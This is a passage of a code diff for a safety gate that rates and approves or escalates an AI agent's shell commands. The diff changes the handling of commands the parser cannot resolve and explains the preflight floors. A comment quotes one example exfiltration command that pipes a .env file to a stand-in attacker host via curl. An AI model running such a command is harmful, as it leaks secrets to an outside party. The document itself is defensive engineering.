|
|
735
779
|
* fetch/transfer position. Its reason NAMES THE HOST and does not say "could not assess": this
|
|
736
780
|
* preflight assessed the command and found something specific, which is what makes the
|
|
737
781
|
* escalation worth reading.
|
|
738
782
|
*
|
|
783
|
+
* **The open-world arm floors only what the parser resolved, and that is the whole of its input set.**
|
|
784
|
+
* {@link findOpenWorldHostLiterals} declines any command {@link classifyCommand} returns `null` for,
|
|
785
|
+
* so a composed fetch (`cat .env | curl -X POST https://evil.example`) is NOT floored here: the
|
|
786
|
+
* rater decides it. That is the §6.1 rule applied to this layer — floor what is deterministically
|
|
787
|
+
* known to be bad, and "the parser could not resolve the line" is a fact about the checker rather
|
|
788
|
+
* than a detection about the command. What such a command gets instead is
|
|
789
|
+
* {@link import('./openWorld.js').buildComposedOpenWorldNote}, a note on the rating prompt naming
|
|
790
|
+
* the host and the data flow across the parts. **The two must not be merged back into one input
|
|
791
|
+
* set**: `packages/core/spec/shellOpenWorld.spec.ts` fails if the note's wider reading ever reaches
|
|
792
|
+
* this function.
|
|
793
|
+
*
|
|
739
794
|
* @param command The raw command string as the model proposed it.
|
|
740
795
|
* @returns The reason to floor at `destructive`, or `null` to leave the rater's verdict alone.
|
|
741
796
|
*/
|
|
742
797
|
function preflightFloorReason(command) {
|
|
743
|
-
if (classifyCommand(command, normalizeCommand) === null) {
|
|
744
|
-
return (`${COULD_NOT_ASSESS_PREFIX}: it composes, substitutes or redirects, so its target ` +
|
|
745
|
-
'cannot be statically resolved.');
|
|
746
|
-
}
|
|
747
798
|
if (hasScriptEnvLeakRisk(normalizeCommand(command))) {
|
|
748
799
|
return (`${COULD_NOT_ASSESS_PREFIX}: it expands an environment variable into a script, which ` +
|
|
749
800
|
'can leak secrets.');
|
|
@@ -771,6 +822,13 @@ function preflightFloorReason(command) {
|
|
|
771
822
|
* | `catastrophic` | — | escalate | escalate — **never negotiate** | — |
|
|
772
823
|
* | `attack` | — | **halt** | **halt** | — |
|
|
773
824
|
*
|
|
825
|
+
* **[[EXT-81]] — there is no longer a row cutting across that column.** A command whose target the
|
|
826
|
+
* gate cannot statically resolve used to return `abstain` here, before the `safe` check and after
|
|
827
|
+
* the two severe outcomes. It is now rated like any other command, carrying a neutral note about
|
|
828
|
+
* the shape the parser saw ({@link buildParserPreflightNote}), and this table is the whole mapping
|
|
829
|
+
* again. The table gained nothing it did not have: what it LOST is a branch that made
|
|
830
|
+
* `catastrophic` and `attack` unreachable for every composed, substituting or redirecting command.
|
|
831
|
+
*
|
|
774
832
|
* Order of precedence (fail-closed FIRST — **this ordering IS the safety property**):
|
|
775
833
|
*
|
|
776
834
|
* 1. `bypass` → `approve`. The gate is off. The declared deny list and the exec-time hardline
|
|
@@ -780,24 +838,23 @@ function preflightFloorReason(command) {
|
|
|
780
838
|
* decides. (Both rungs behave identically for the shell because the shell is the only gated
|
|
781
839
|
* tool today — the built-in read/write tools each rung grants are not gated until [[EXT-30]]
|
|
782
840
|
* widens the gate. That is a scope boundary, not a missing branch.)
|
|
783
|
-
* 3. **The deterministic
|
|
784
|
-
* one** ({@link preflightFloorReason})
|
|
785
|
-
*
|
|
786
|
-
*
|
|
787
|
-
*
|
|
788
|
-
*
|
|
789
|
-
*
|
|
790
|
-
*
|
|
791
|
-
*
|
|
792
|
-
*
|
|
793
|
-
*
|
|
794
|
-
* `
|
|
795
|
-
*
|
|
796
|
-
* `catastrophic` verdict to `destructive` — the exact inverse of the invariant above, silently
|
|
797
|
-
* trading an unnegotiable escalation for a negotiable one at `full-auto`.)
|
|
841
|
+
* 3. **The deterministic preflight FINDINGS, which FLOOR the outcome at `destructive` and never
|
|
842
|
+
* lower one** ({@link preflightFloorReason}): the script-env-leak preflight
|
|
843
|
+
* ({@link hasScriptEnvLeakRisk}) and EXT-61's open-world preflight
|
|
844
|
+
* ({@link findOpenWorldHostLiterals} — a host literal in a fetch/transfer position, §4.6). Both
|
|
845
|
+
* are recomputed from the RAW command, independently of what the rater said. Either rewrites a
|
|
846
|
+
* verdict that sits BELOW the floor — i.e. `safe`, and only `safe`
|
|
847
|
+
* ({@link isBelowDestructiveFloor}) — to `destructive` with an honest reason, **before the `safe`
|
|
848
|
+
* check**, so a manipulated `safe` verdict can never slip one of them through. **A rater verdict
|
|
849
|
+
* may only ever make an outcome worse, never better**, and so may a preflight: `destructive`,
|
|
850
|
+
* `catastrophic` and `attack` all pass through UNCHANGED. (Before the rescale this branch
|
|
851
|
+
* excluded the single halting outcome BY NAME. Renamed in place it would have let a preflight hit
|
|
852
|
+
* *downgrade* a `catastrophic` verdict to `destructive` — the exact inverse of the invariant
|
|
853
|
+
* above, silently trading an unnegotiable escalation for a negotiable one at `full-auto`.)
|
|
798
854
|
* 4. `attack` → `halt`, at both rated rungs, never negotiable.
|
|
799
|
-
* 5. `
|
|
800
|
-
*
|
|
855
|
+
* 5. `catastrophic` → `escalate`, and MUST NOT enter §5's negotiation.
|
|
856
|
+
* 6. `safe` → `approve`; `destructive` → `escalate` (a negotiation at `full-auto` once [[EXT-29]]
|
|
857
|
+
* lands).
|
|
801
858
|
*
|
|
802
859
|
* **EXT-58 (§4.4): the verdict's `suggestedTool` is not read here, and that is deliberate.** A
|
|
803
860
|
* suggestion is never an approval — it must not change the action, must not approve the original
|
|
@@ -826,8 +883,8 @@ export function mapVerdictToAction(command, verdict, opts) {
|
|
|
826
883
|
if (!isRatedRung(opts.rung)) {
|
|
827
884
|
return { action: 'escalate', verdict: undefined };
|
|
828
885
|
}
|
|
829
|
-
// (3)
|
|
830
|
-
// is FLOORED at `destructive` with an honest reason, even when the rater said `safe`. The
|
|
886
|
+
// (3) A command that names a host (EXT-61), or that expands an environment variable into a
|
|
887
|
+
// script, is FLOORED at `destructive` with an honest reason, even when the rater said `safe`. The
|
|
831
888
|
// preflights raise; they never lower. Only `safe` sits below the floor, so `destructive`,
|
|
832
889
|
// `catastrophic` and `attack` all pass through untouched, keeping their real explanation (and any
|
|
833
890
|
// §4.4 suggestion) rather than losing it to a note that would also be FALSE — the rater did
|
|
@@ -837,10 +894,6 @@ export function mapVerdictToAction(command, verdict, opts) {
|
|
|
837
894
|
if (effective.outcome === 'attack') {
|
|
838
895
|
return { action: 'halt', verdict: effective };
|
|
839
896
|
}
|
|
840
|
-
// (5) `safe` runs.
|
|
841
|
-
if (effective.outcome === 'safe') {
|
|
842
|
-
return { action: 'approve', verdict: effective };
|
|
843
|
-
}
|
|
844
897
|
// §4.2 — `catastrophic` escalates at BOTH rated rungs and is deliberately its OWN return rather
|
|
845
898
|
// than a fallthrough into the `destructive` arm below. It MUST NOT enter the §5 negotiation at
|
|
846
899
|
// `full-auto`: being *argued into* a `mkfs` is the failure mode that rung is most exposed to, so
|
|
@@ -849,6 +902,15 @@ export function mapVerdictToAction(command, verdict, opts) {
|
|
|
849
902
|
if (effective.outcome === 'catastrophic') {
|
|
850
903
|
return { action: 'escalate', verdict: effective };
|
|
851
904
|
}
|
|
905
|
+
// (5) `safe` runs — including for a command the gate's parser could not resolve. [[EXT-81]]
|
|
906
|
+
// removed the `abstain` branch that used to sit here, so an unresolvable command is decided by
|
|
907
|
+
// the outcome column like any other. What protects it is not a branch of its own but the same
|
|
908
|
+
// three things that protect every command: the preflight floor above (recomputed from the raw
|
|
909
|
+
// command, so a manipulated `safe` cannot slip a script-env-leak past), a rating the rater made
|
|
910
|
+
// with the parser's note in front of it, and the §8 hardline floor at exec time.
|
|
911
|
+
if (effective.outcome === 'safe') {
|
|
912
|
+
return { action: 'approve', verdict: effective };
|
|
913
|
+
}
|
|
852
914
|
// TODO(EXT-29): under `full-auto` a `destructive` outcome opens a NEGOTIATION with the rater
|
|
853
915
|
// (spec §5) rather than going straight to the human — the agent may revise or justify, the
|
|
854
916
|
// rater re-rates seeing the exchange, and only three CONSECUTIVE rejections escalate. Until
|
|
@@ -874,11 +936,10 @@ export function mapVerdictToAction(command, verdict, opts) {
|
|
|
874
936
|
* **The deterministic preflights are deliberately not consulted** ({@link preflightFloorReason} is
|
|
875
937
|
* not called). §4.6 states it directly for the open-world arm: *an allow match lifts this floor even
|
|
876
938
|
* when the entry keeps the rater involved — the tripwire still sees the call; the floor does not
|
|
877
|
-
* apply to it.* The
|
|
878
|
-
* only ever raises `safe` to `destructive`, and both of those run here. Applying the floor
|
|
879
|
-
* therefore alter nothing except to replace an honest verdict with a note about a decision
|
|
880
|
-
* mapping does not make.
|
|
881
|
-
* command that fails to statically resolve.)
|
|
939
|
+
* apply to it.* The script-env-leak arm is lifted with it, and doing so changes no outcome: a
|
|
940
|
+
* preflight only ever raises `safe` to `destructive`, and both of those run here. Applying the floor
|
|
941
|
+
* would therefore alter nothing except to replace an honest verdict with a note about a decision
|
|
942
|
+
* this mapping does not make.
|
|
882
943
|
*
|
|
883
944
|
* @param verdict The rater's verdict; `undefined` or a fail-closed verdict is `destructive` and so
|
|
884
945
|
* runs — the tripwire failing to answer does not revoke the human's standing decision, exactly as
|